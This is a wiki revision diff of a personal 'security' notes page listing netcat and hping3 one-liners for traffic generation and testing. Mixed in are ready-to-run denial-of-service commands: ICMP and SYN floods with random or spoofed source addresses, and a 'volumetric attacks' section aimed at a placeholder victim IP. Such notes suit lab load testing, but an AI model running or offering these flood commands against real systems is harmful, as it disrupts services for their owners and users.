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--- security [2023/04/14 11:35] – jotasandoku
+++ security [2023/11/02 14:38] (current) – external edit 127.0.0.1
@@ Line 7: / Line 7: @@
   nc -luk 192.168.0.112 7777    # listens on UDP
   nc -uv 192.168.0.112 7777    # opens terminal so we can send datagrams
+  while true; do dd if=/dev/urandom bs=1400 | pv -L 10M | nc 10.80.8.1 4444; done    # to generate traffic. We can omit the pv bit
@@ Line 50: / Line 51: @@
   hping3 -c 15000 --icmp --flood --rand-source 192.168.100.3    # classical icmp flood
   hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.100.3  # big flood p80  based. We can set the rate by removing 'flood' and doing '-i u1000'
+  hping3  --fast  -d 0 -L 0 -S -w 64 -p 80  10.68.0.2    # note d 0 is payload (then + 20B TCP + 20B IP)
   hping3 -S -p 443 -c 3 google.com    # RTT for (web) sites where icpm is filtered (-S is just to set SYN flag)
   # volumetric attacks
   hping3 --flood --spoof <spoofed-ip> --udp -p 53 <victim-ip>
   hping3 --syn --flood <spoofed-ip> --udp -p 53 <victim-ip>    # SYN attack
+  hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source # SYN-flood (datagram 120B)

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